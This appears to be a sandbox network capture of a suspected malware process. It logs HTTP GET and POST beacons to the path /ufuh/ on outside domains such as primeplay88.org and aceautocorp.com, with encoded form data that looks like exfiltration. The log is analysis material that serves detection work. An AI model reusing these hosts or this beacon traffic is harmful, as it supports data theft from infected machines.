10	192.168.2.22	49175	194.9.94.86	80	2108	C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe

Timestamp	Bytes transferred	Direction	Data
May 20, 2024 08:55:21.654726028 CEST	474	OUT	GET /ufuh/?-Hc=N8_LbDFHuLL4ejZ&84O0=JCl8GzBEdF4l5nIyfkeq0ia6oie6u6lAQeoh+x3kN0jP8DE3DVbhST9RD9xIYa+bXtx9nrjGgO+XENgp6DrguLhYbN7qtNMSCWk+pZJhu575eHJRgqTZAIE4NheL HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close Host: www.xn--matfrmn-jxa4m.se User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
May 20, 2024 08:55:22.356550932 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 20 May 2024 06:55:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.1.24 Data Raw: 31 35 66 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 09 3c 68 65 61 64 3e 0a 3c 21 2d 2d 20 47 6f 6f 67 6c 65 20 54 61 67 20 4d 61 6e 61 67 65 72 20 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 2c 73 2c 6c 2c 69 29 7b 77 5b 6c 5d 3d 77 5b 6c 5d 7c 7c 5b 5d 3b 77 5b 6c 5d 2e 70 75 73 68 28 7b 27 67 74 6d 2e 73 74 61 72 74 27 3a 0a 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 2c 65 76 65 6e 74 3a 27 67 74 6d 2e 6a 73 27 7d 29 3b 76 61 72 20 66 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 73 29 5b 30 5d 2c 0a 6a [TRUNCATED] Data Ascii: 15f9<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head>... Google Tag Manager --><script>(function(w,d,s,l,i){w[l]=w[l]\|\|[];w[l].push({'gtm.start':new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src='https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);})(window,document,'script','dataLayer','GTM-NP3MFSK');</script>... End Google Tag Manager --> <meta http-equiv="X-UA-Compatible" content="IE=EDGE" /><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta name="loopia-test" content="XsdXAIxha8q9Xjamck4H" /><title>Parked at Loopia</title> <link rel="apple-touch-icon" media="screen and (resolution: 163dpi)" href="https://static.loopia.se/responsive/images/iOS-57.png" /> <link rel="apple-touch-icon" media="screen and (resolution [TRUNCATED]
May 20, 2024 08:55:22.362170935 CEST	1236	IN	Data Raw: 65 2f 72 65 73 70 6f 6e 73 69 76 65 2f 69 6d 61 67 65 73 2f 69 4f 53 2d 37 32 2e 70 6e 67 22 20 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 20 Data Ascii: e/responsive/images/iOS-72.png" /> <link rel="apple-touch-icon" media="screen and (resolution: 326dpi)" href="https://static.loopia.se/responsive/images/iOS-114.png" /> <meta name="viewport" content="initial-scale=1.0, maximum-scale =
May 20, 2024 08:55:22.362186909 CEST	1236	IN	Data Raw: 74 6d 5f 6d 65 64 69 75 6d 3d 73 69 74 65 6c 69 6e 6b 26 75 74 6d 5f 73 6f 75 72 63 65 3d 6c 6f 6f 70 69 61 5f 70 61 72 6b 69 6e 67 77 65 62 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 70 61 72 6b 69 6e 67 77 65 62 26 75 74 6d 5f 63 6f 6e 74 65 6e Data Ascii: tm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingweb&utm_content=whois">LoopiaWHOIS</a> to view the domain holder's public information.</p><p>Are you the owner of the domain and want to get started? Login to <a href="htt
May 20, 2024 08:55:22.362201929 CEST	672	IN	Data Raw: 74 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 46 69 6e 64 20 79 6f 75 72 20 64 65 73 69 72 65 64 20 64 6f 6d 61 69 6e 22 3e 0a 09 09 09 09 09 3c 62 75 74 74 6f 6e 20 69 64 3d 22 73 65 61 72 63 68 2d 62 74 6e 22 20 63 6c 61 73 73 3d 22 62 74 6e Data Ascii: t" placeholder="Find your desired domain"><button id="search-btn" class="btn btn-search" type="submit"></button></form></div><h3>Get full control of your domains with LoopiaDNS</h3><p>With LoopiaDNS, you will be able
May 20, 2024 08:55:22.366945028 CEST	1236	IN	Data Raw: 65 74 20 73 74 61 72 74 65 64 20 77 69 74 68 20 79 6f 75 72 20 77 65 62 73 69 74 65 2c 20 65 6d 61 69 6c 2c 20 62 6c 6f 67 20 61 6e 64 20 6f 6e 6c 69 6e 65 20 73 74 6f 72 65 2e 3c 2f 70 3e 0a 09 09 09 3c 70 3e 0a 09 09 09 3c 75 6c 3e 0a 09 09 09 Data Ascii: et started with your website, email, blog and online store.</p><p><ul><li><a href="https://www.loopia.com/wordpress/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingweb&utm_content=wordpress">Create your websi
May 20, 2024 08:55:22.366986990 CEST	206	IN	Data Raw: 6c 6f 6f 70 69 61 2e 63 6f 6d 2f 73 75 70 70 6f 72 74 3f 75 74 6d 5f 6d 65 64 69 75 6d 3d 73 69 74 65 6c 69 6e 6b 26 75 74 6d 5f 73 6f 75 72 63 65 3d 6c 6f 6f 70 69 61 5f 70 61 72 6b 69 6e 67 77 65 62 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 70 Data Ascii: loopia.com/support?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingweb">Contact us</a></p></span></div>... /END #footer --></div>... /END .content --></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.22	49176	91.195.240.19	80	2108	C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe

Timestamp	Bytes transferred	Direction	Data
May 20, 2024 08:55:27.409249067 CEST	2472	OUT	POST /ufuh/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Length: 2161 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Host: www.primeplay88.org Origin: http://www.primeplay88.org Referer: http://www.primeplay88.org/ufuh/ User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 38 34 4f 30 3d 6a 44 58 71 4f 62 6b 69 45 6a 42 59 51 32 6a 70 48 61 45 46 55 52 6f 69 39 38 37 5a 78 7a 6b 4b 6d 54 4b 46 59 53 55 45 50 75 39 67 4f 62 53 4d 73 31 33 4f 49 6d 71 64 48 50 70 76 30 6c 5a 70 41 43 69 43 58 51 41 67 47 63 50 57 47 61 43 32 4e 50 6b 77 71 31 31 54 44 33 62 31 31 52 45 58 30 2b 35 78 4f 76 54 47 54 55 72 76 51 45 4e 4c 43 64 48 47 2f 32 59 48 36 72 35 6a 4d 4b 76 45 69 4e 54 42 30 56 68 7a 44 33 66 49 6e 78 54 39 6b 35 71 2b 41 51 45 46 65 51 79 4a 61 36 66 6c 49 53 69 30 63 55 41 61 54 4f 61 70 31 4c 52 6c 72 53 45 79 35 41 52 41 37 2f 56 77 76 46 43 77 65 70 54 34 75 6b 56 45 52 44 65 56 33 44 2f 37 48 62 4e 57 50 57 44 41 4e 6f 75 52 31 74 71 51 43 75 31 77 61 6b 43 37 48 79 6d 53 38 2b 71 77 30 77 32 76 2b 72 31 48 71 52 47 79 4b 7a 59 35 73 65 79 42 78 38 66 48 4f 43 61 2f 4a 76 72 68 6f 59 4c 78 41 64 64 6a 6c 6a 73 42 38 57 4d 4f 77 73 69 38 77 43 39 51 7a 32 77 51 41 56 70 63 32 2f 48 2b 41 78 6b 64 78 4b 7a 6e 74 4c 52 35 42 6a 6d 69 48 32 39 75 79 53 63 41 36 [TRUNCATED] Data Ascii: 84O0=jDXqObkiEjBYQ2jpHaEFURoi987ZxzkKmTKFYSUEPu9gObSMs13OImqdHPpv0lZpACiCXQAgGcPWGaC2NPkwq11TD3b11REX0+5xOvTGTUrvQENLCdHG/2YH6r5jMKvEiNTB0VhzD3fInxT9k5q+AQEFeQyJa6flISi0cUAaTOap1LRlrSEy5ARA7/VwvFCwepT4ukVERDeV3D/7HbNWPWDANouR1tqQCu1wakC7HymS8+qw0w2v+r1HqRGyKzY5seyBx8fHOCa/JvrhoYLxAddjljsB8WMOwsi8wC9Qz2wQAVpc2/H+AxkdxKzntLR5BjmiH29uyScA6tAoZ7F0PJ/nShC3U+4nlo2bdNGuBMZd0tZx0mOvZo8SJbfhBV8etSfKU/IdDh3fMCtwXW0a0HuEh8vB6blJo+GfWYbOvcLa2mhlHMKYi8OPnFam+DuGZEMM335WKXk4tAxf6iKeymUjRcIM0EKQYb/OZI1H1pHgbsehVlMLqDmUFCXnvR4bY9/CyisiBdc7SVgrDDIoZNbDfbEVmRysXEUORcsirHhJUjAp9NPHQES9TkX59rTLhycpBog1ptzRJQIBoO2wanDT1EPQ1SSOGPocnUIvaqZe5SB/mvZWfqpyY4GaAGQP9XJ+lSqJz3LBYm3LOd0pgDZrKUt9gKamC5zgVvZ3/TLKrnIMOFY5SUVkGXbo3qhg4DHkQjybTZzDUSh+3jmum2AiVmULcab/3SKRDkW2iVjPc1TBL3VUL0U2UhGYJbnNXkX8fqq0yx8cmEYdbhmv/FnTqs0cWqiVzIegvUrj95LweIDfMvq9ylqyIcv3rZBZBTP6oQfAO35zF/E1nVLOY8lEuhxk8rpZ8h79SF35oEHmI7uF/C790E7sej617kKTDqaJVzjAZ2b4k/uPlE+dwotYtpk//rSE7LK8Wbh2YBjh8mcEoZmF4RA9ro3VvA4KHF3cJFshVxGjRrTj2Y2Nh91N3ncFJ77am4Kqe6aqXtcJ4gv [TRUNCATED]
May 20, 2024 08:55:27.414730072 CEST	220	OUT	Data Raw: 43 4f 42 4a 65 5a 58 5a 76 79 7a 45 72 42 56 5a 46 36 4f 32 58 34 53 66 5a 53 59 34 65 39 67 78 72 4c 52 2f 48 65 4a 61 33 71 7a 7a 69 61 47 6b 64 70 61 6a 61 67 52 71 75 48 34 69 61 52 4f 45 54 7a 78 34 47 44 5a 57 55 76 62 35 42 7a 42 48 48 30 Data Ascii: COBJeZXZvyzErBVZF6O2X4SfZSY4e9gxrLR/HeJa3qzziaGkdpajagRquH4iaROETzx4GDZWUvb5BzBHH0Aj8j58goRRCNqujBBdntqN5RXesCZqwEeL7celPBXmdjXZTnjup84szdYI5gQvn7m9RbWjSMbtAi7AfvLZ0rg1PhAWEBJwLntAfdT9eCfd35dDElASkZdFpUkVGl9Hi+8xj5w13606

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.22	49177	91.195.240.19	80	2108	C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe

Timestamp	Bytes transferred	Direction	Data
May 20, 2024 08:55:29.941282034 CEST	731	OUT	POST /ufuh/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Length: 201 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Host: www.primeplay88.org Origin: http://www.primeplay88.org Referer: http://www.primeplay88.org/ufuh/ User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 38 34 4f 30 3d 6a 44 58 71 4f 62 6b 69 45 6a 42 59 51 78 2f 70 47 4c 45 46 53 78 6f 69 36 38 37 5a 2f 54 6b 45 6d 54 57 6e 59 57 4d 55 4f 66 31 67 50 4b 69 4d 74 48 76 4f 62 57 71 65 49 76 70 6a 72 31 59 74 41 43 69 34 58 51 38 67 47 63 62 57 47 35 71 32 50 4c 77 78 6d 6c 31 64 61 48 62 77 31 52 59 65 30 2b 31 68 4f 76 37 47 54 53 6a 76 52 45 64 4c 48 37 7a 47 74 32 59 42 38 72 35 34 4d 4c 54 64 69 4e 44 4a 30 52 68 7a 44 6d 7a 49 2b 42 7a 39 6a 71 43 2b 4b 77 45 45 55 77 7a 4e 65 35 47 6f 43 45 2b 30 51 47 55 46 4e 63 75 76 32 70 78 58 7a 7a 6f 34 7a 77 70 7a 6b 34 34 55 70 46 7a 39 4e 41 3d 3d Data Ascii: 84O0=jDXqObkiEjBYQx/pGLEFSxoi687Z/TkEmTWnYWMUOf1gPKiMtHvObWqeIvpjr1YtACi4XQ8gGcbWG5q2PLwxml1daHbw1RYe0+1hOv7GTSjvREdLH7zGt2YB8r54MLTdiNDJ0RhzDmzI+Bz9jqC+KwEEUwzNe5GoCE+0QGUFNcuv2pxXzzo4zwpzk44UpFz9NA==
May 20, 2024 08:55:30.600327015 CEST	208	IN	HTTP/1.1 403 Forbidden content-length: 93 cache-control: no-cache content-type: text/html connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.22	49178	91.195.240.19	80	2108	C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe

Timestamp	Bytes transferred	Direction	Data
May 20, 2024 08:55:32.483613014 CEST	2472	OUT	POST /ufuh/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Length: 3625 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Host: www.primeplay88.org Origin: http://www.primeplay88.org Referer: http://www.primeplay88.org/ufuh/ User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 38 34 4f 30 3d 6a 44 58 71 4f 62 6b 69 45 6a 42 59 52 56 37 70 45 6f 73 46 58 52 6f 6c 30 63 37 5a 78 7a 6b 66 6d 54 4b 6e 59 53 55 45 50 73 5a 67 4f 64 6d 4d 74 6c 33 4f 4c 6d 71 65 4b 76 70 76 30 6c 5a 6f 41 43 32 53 58 51 4d 61 47 65 33 57 47 59 36 32 4e 4e 4d 77 74 31 31 54 65 48 62 33 31 52 59 78 30 2b 6c 6c 4f 76 75 52 54 54 48 76 57 32 46 4c 50 72 7a 42 6f 32 59 42 38 72 35 43 4d 4c 54 39 69 4e 62 52 30 51 34 30 44 78 4c 49 37 52 54 39 69 4a 71 39 4d 77 45 41 61 51 79 39 61 36 6a 32 49 53 6a 39 63 55 45 38 54 4f 57 70 30 65 4e 6c 72 56 6f 78 6c 41 52 48 6d 50 56 77 67 6c 43 79 65 70 54 6b 75 6b 56 45 52 47 43 56 31 54 2f 37 48 61 4e 56 4c 57 44 41 4f 6f 75 6d 37 4e 6e 33 43 71 6c 65 61 6b 79 72 53 54 69 53 2f 38 79 77 6a 77 32 76 34 62 31 4e 71 52 47 72 46 54 5a 6f 73 65 62 79 78 38 50 74 4f 43 61 2f 4a 74 54 68 74 4f 66 78 4a 74 64 6a 6e 6a 73 36 79 47 4d 4e 77 73 6d 65 77 42 68 51 7a 30 51 51 41 6d 64 63 77 38 76 68 4f 68 6b 63 31 4b 7a 6c 37 37 52 73 42 6a 36 45 48 32 31 41 79 57 67 41 36 [TRUNCATED] Data Ascii: 84O0=jDXqObkiEjBYRV7pEosFXRol0c7ZxzkfmTKnYSUEPsZgOdmMtl3OLmqeKvpv0lZoAC2SXQMaGe3WGY62NNMwt11TeHb31RYx0+llOvuRTTHvW2FLPrzBo2YB8r5CMLT9iNbR0Q40DxLI7RT9iJq9MwEAaQy9a6j2ISj9cUE8TOWp0eNlrVoxlARHmPVwglCyepTkukVERGCV1T/7HaNVLWDAOoum7Nn3CqleakyrSTiS/8ywjw2v4b1NqRGrFTZosebyx8PtOCa/JtThtOfxJtdjnjs6yGMNwsmewBhQz0QQAmdcw8vhOhkc1Kzl77RsBj6EH21AyWgA6vYoJu50P5/kfBCzQ+0Clo+1dOqQBOdd04lx1lmsV48IcrfrXl84tSb0U/odDQ/fNCNwTlcZz3uP3MuDz7ldo+i9Wcf4vuDawGhlLOybjsOKtlbj0jvZZEMy31hGJiQ4tAtf70meymUkBMIK6RT1YbjKZIoA1vrgb8uhVkMLmDmUIiXe0B4dY9rSymxVU5M7T24rFBwoetbBMLEQrxz8XEEORcIMrDVJVHsp8vnHF0S5QkWn9rS6hyYtBowlpuHRJRIB8/2wAXDS5kPUxSS1GPgMnUlKauNerih/1+ZWcKpwa4GaJmQX9TdulT38zy/BYSzLeN02tjZ0MUtykKaKC5jgVvV3/TjKqUgML2A5QkVmbnbuiatp4D3SQi2LTf7DVDh+wgCtomAkDWUBYaao3SKNDgDthhvPchHBbjBTUkU1fBGPH7nHXknWfvqkyAgcmFodOCOv+1nTqs0fWqiRzICevRWI95LweZDfMcS95FqzXsvoh5AaBTLMoU6XO09zEqI1nVLJHslLnBxn8rlu8h6cSF75pyHmJomF/mb9iU7sJT62xEKSDqanVyvqZ1D4kOOPiCqe74tdkJkp2LXG7L2kWZt2YS3h9zwEvpmF2RA8jI3ErA1VHFr6JAx8AQWjTYrj67uOtt1QpndDJ7nhm4yUe7iQXsEJ4Av [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.22	49179	91.195.240.19	80	2108	C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe

Timestamp	Bytes transferred	Direction	Data
May 20, 2024 08:55:35.008862019 CEST	469	OUT	GET /ufuh/?84O0=uB/KNrYRIAEuVxS2CaQ/STQ79sXR+BlQlR67HQQqBOVPNI2QjXmfUVSCEalfoT0oEVOLH05GPMXaAce1CehAlwJBdX/jzmgGgvdHGe2cEEX0VUceLY//9BYN6rMd&-Hc=N8_LbDFHuLL4ejZ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close Host: www.primeplay88.org User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
May 20, 2024 08:55:35.660337925 CEST	208	IN	HTTP/1.1 403 Forbidden content-length: 93 cache-control: no-cache content-type: text/html connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.22	49180	198.12.241.35	80	2108	C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe

Timestamp	Bytes transferred	Direction	Data
May 20, 2024 08:55:40.715897083 CEST	2472	OUT	POST /ufuh/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Length: 2161 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Host: www.aceautocorp.com Origin: http://www.aceautocorp.com Referer: http://www.aceautocorp.com/ufuh/ User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 38 34 4f 30 3d 6d 43 38 6c 66 71 4d 48 33 4b 39 4f 68 76 33 61 36 74 2f 57 76 35 74 71 47 64 46 76 61 35 50 43 4e 45 69 66 78 74 79 41 6f 30 50 36 78 6f 43 72 67 2b 44 4f 6d 6b 74 4d 50 66 58 67 63 61 5a 5a 6c 4f 52 79 4f 35 31 4d 76 65 39 32 2b 34 35 57 37 6f 6e 4a 6b 67 75 51 48 6f 44 5a 64 51 6e 79 47 4a 68 34 57 56 63 63 76 50 4f 73 30 31 49 68 61 37 43 6e 5a 53 4a 39 5a 56 5a 69 65 6d 46 30 70 63 6b 68 43 43 39 43 41 70 58 63 72 73 46 47 4b 59 2b 79 72 50 47 4d 61 51 61 43 4e 4e 31 42 6a 4d 72 2b 62 6c 31 4b 31 38 36 6c 59 2f 4f 45 62 2b 64 55 66 42 37 46 2f 4f 75 66 53 4b 54 6f 4b 6f 56 47 46 32 54 63 59 55 4b 43 38 2b 6f 76 53 6d 47 70 38 32 4f 31 55 6f 2b 63 4f 42 54 39 6e 45 46 69 64 52 50 69 35 46 37 51 6c 31 79 38 49 73 61 6a 65 48 7a 61 2f 35 58 48 39 36 48 77 65 70 65 30 4c 39 57 35 65 2f 64 54 31 7a 48 36 5a 5a 4f 48 31 48 2f 45 65 5a 7a 6b 45 70 47 6b 62 35 78 35 56 79 7a 4e 56 47 67 37 72 47 30 32 63 35 76 38 43 36 39 52 43 6b 37 57 52 77 71 56 77 77 42 45 39 75 2f 51 61 2b 55 65 44 [TRUNCATED] Data Ascii: 84O0=mC8lfqMH3K9Ohv3a6t/Wv5tqGdFva5PCNEifxtyAo0P6xoCrg+DOmktMPfXgcaZZlORyO51Mve92+45W7onJkguQHoDZdQnyGJh4WVccvPOs01Iha7CnZSJ9ZVZiemF0pckhCC9CApXcrsFGKY+yrPGMaQaCNN1BjMr+bl1K186lY/OEb+dUfB7F/OufSKToKoVGF2TcYUKC8+ovSmGp82O1Uo+cOBT9nEFidRPi5F7Ql1y8IsajeHza/5XH96Hwepe0L9W5e/dT1zH6ZZOH1H/EeZzkEpGkb5x5VyzNVGg7rG02c5v8C69RCk7WRwqVwwBE9u/Qa+UeDlrB3UEnvBmTAGcdR7IdoTHMvvJy+fzdR7U7Pm08uxlXYVbSUIFidczDQLTLu3dsB0lBubzz9/EHluNWXv8spFIK1r0ed0j5MODYqK30yn5BcplTkeSmAVxuWUlfpXcnZaG1OCQZn1ZzQN8MRQ1fGgc0LmqybdS21XZ3jGHIOFKrEc/uSSyIAbPwKJBMA/SxhDuBH9yh5Pn7SFov9k8r2IXfrsP6WMNWC9UqrZRxNaHLPJVdLrMyEtxC3BIvsSO3UhbmxEfW7SSccNqDUEEFaySK35TjFktSBGC7dD31bIQ4UWvlRF3Nu+UIK8zBu7EvEKVAoFzFf6J+yuGM+mlWr7//2SWKdMwN8fZwVly79kb6kkjh2AQ7KWasEz+0JF+jF/AQpN+ADUVDELX3DEw8pNARu5A4mzAQRVXFhJl+OQlRimJVHYQYq9GG5B72KZOT4D0gSnEdDY5M7kFJp0h/YLX9pa3x0it/n+66ryHLTNXGfZ1slN93zRJlwSfwA4qZ1fnfmkmi+A+bi/Y5R/2apLe8i4VxUKlMurKrf2cvhWZZZBwRRhH2Gs4Da1IffmvHXnxzYogWjvjA59PcaOrtbcoPF17KAKDh7sUye34tTv2Au9f+MFARvGiFHslJxItk8wHmFGEjJ1U3hIRPdDZJECYeDBi+PtO0gsf [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.22	49181	198.12.241.35	80	2108	C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe

Timestamp	Bytes transferred	Direction	Data
May 20, 2024 08:55:43.301086903 CEST	731	OUT	POST /ufuh/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Length: 201 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Host: www.aceautocorp.com Origin: http://www.aceautocorp.com Referer: http://www.aceautocorp.com/ufuh/ User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 38 34 4f 30 3d 6d 43 38 6c 66 71 4d 48 33 4b 39 4f 68 73 66 61 34 2f 48 57 75 5a 74 71 46 64 46 76 42 4a 50 45 4e 45 75 74 78 76 66 46 70 44 72 36 32 38 4f 72 68 4d 72 4f 68 6b 74 4c 62 50 58 6b 52 36 5a 41 6c 4f 52 41 4f 35 35 4d 76 65 35 32 73 75 39 57 39 74 4c 4f 6d 51 75 53 54 59 44 59 64 51 36 4f 47 4a 74 6f 57 55 6b 63 76 4d 61 73 79 45 34 68 50 76 69 6e 66 69 4a 33 51 31 5a 78 65 6d 4a 68 70 63 56 74 43 43 52 43 41 59 4c 63 72 39 6c 47 49 35 2b 79 77 66 47 4e 58 77 62 30 47 34 45 2f 6d 50 58 68 48 45 42 32 32 2f 57 2b 46 6f 61 4a 52 73 46 6c 63 54 66 59 36 49 62 63 45 36 4f 63 4a 51 3d 3d Data Ascii: 84O0=mC8lfqMH3K9Ohsfa4/HWuZtqFdFvBJPENEutxvfFpDr628OrhMrOhktLbPXkR6ZAlORAO55Mve52su9W9tLOmQuSTYDYdQ6OGJtoWUkcvMasyE4hPvinfiJ3Q1ZxemJhpcVtCCRCAYLcr9lGI5+ywfGNXwb0G4E/mPXhHEB22/W+FoaJRsFlcTfY6IbcE6OcJQ==
May 20, 2024 08:55:44.029783010 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Mon, 20 May 2024 06:55:43 GMT Server: Apache X-Powered-By: PHP/8.1.28 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://aceautocorp.com/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Content-Encoding: br Content-Length: 9730 Content-Type: text/html; charset=UTF-8 Data Raw: 13 53 cb 14 91 9a f4 43 40 45 60 dc c4 c7 3a cf f7 9f a9 da 9f a5 cb e9 19 9e 48 84 03 40 00 58 5a a8 14 67 8b 7f 69 4e 7e b3 3d 1e 88 04 25 6e 28 82 03 40 c5 cb e5 5f b6 ea f3 bc a5 63 32 81 24 59 32 81 97 2c 39 06 a2 b9 7a 90 79 aa ea 9e 8e a8 9e d9 d1 70 a8 17 4e 31 24 c5 e2 1d 67 be 84 aa ae ae ee e1 fb fb 91 c1 33 84 e8 38 72 ec 19 61 0b d8 70 64 b8 64 58 86 6c 3d 86 6a b2 fd b4 fb 06 11 51 14 51 93 76 db 70 79 99 58 f7 de 86 10 ac 25 02 13 93 a1 9a c9 d8 e4 97 03 27 30 58 c8 54 32 df 5a 8c b9 bd 10 f9 21 22 92 70 57 3d 45 37 cf 39 e5 74 4c 81 19 a8 3e 4a c0 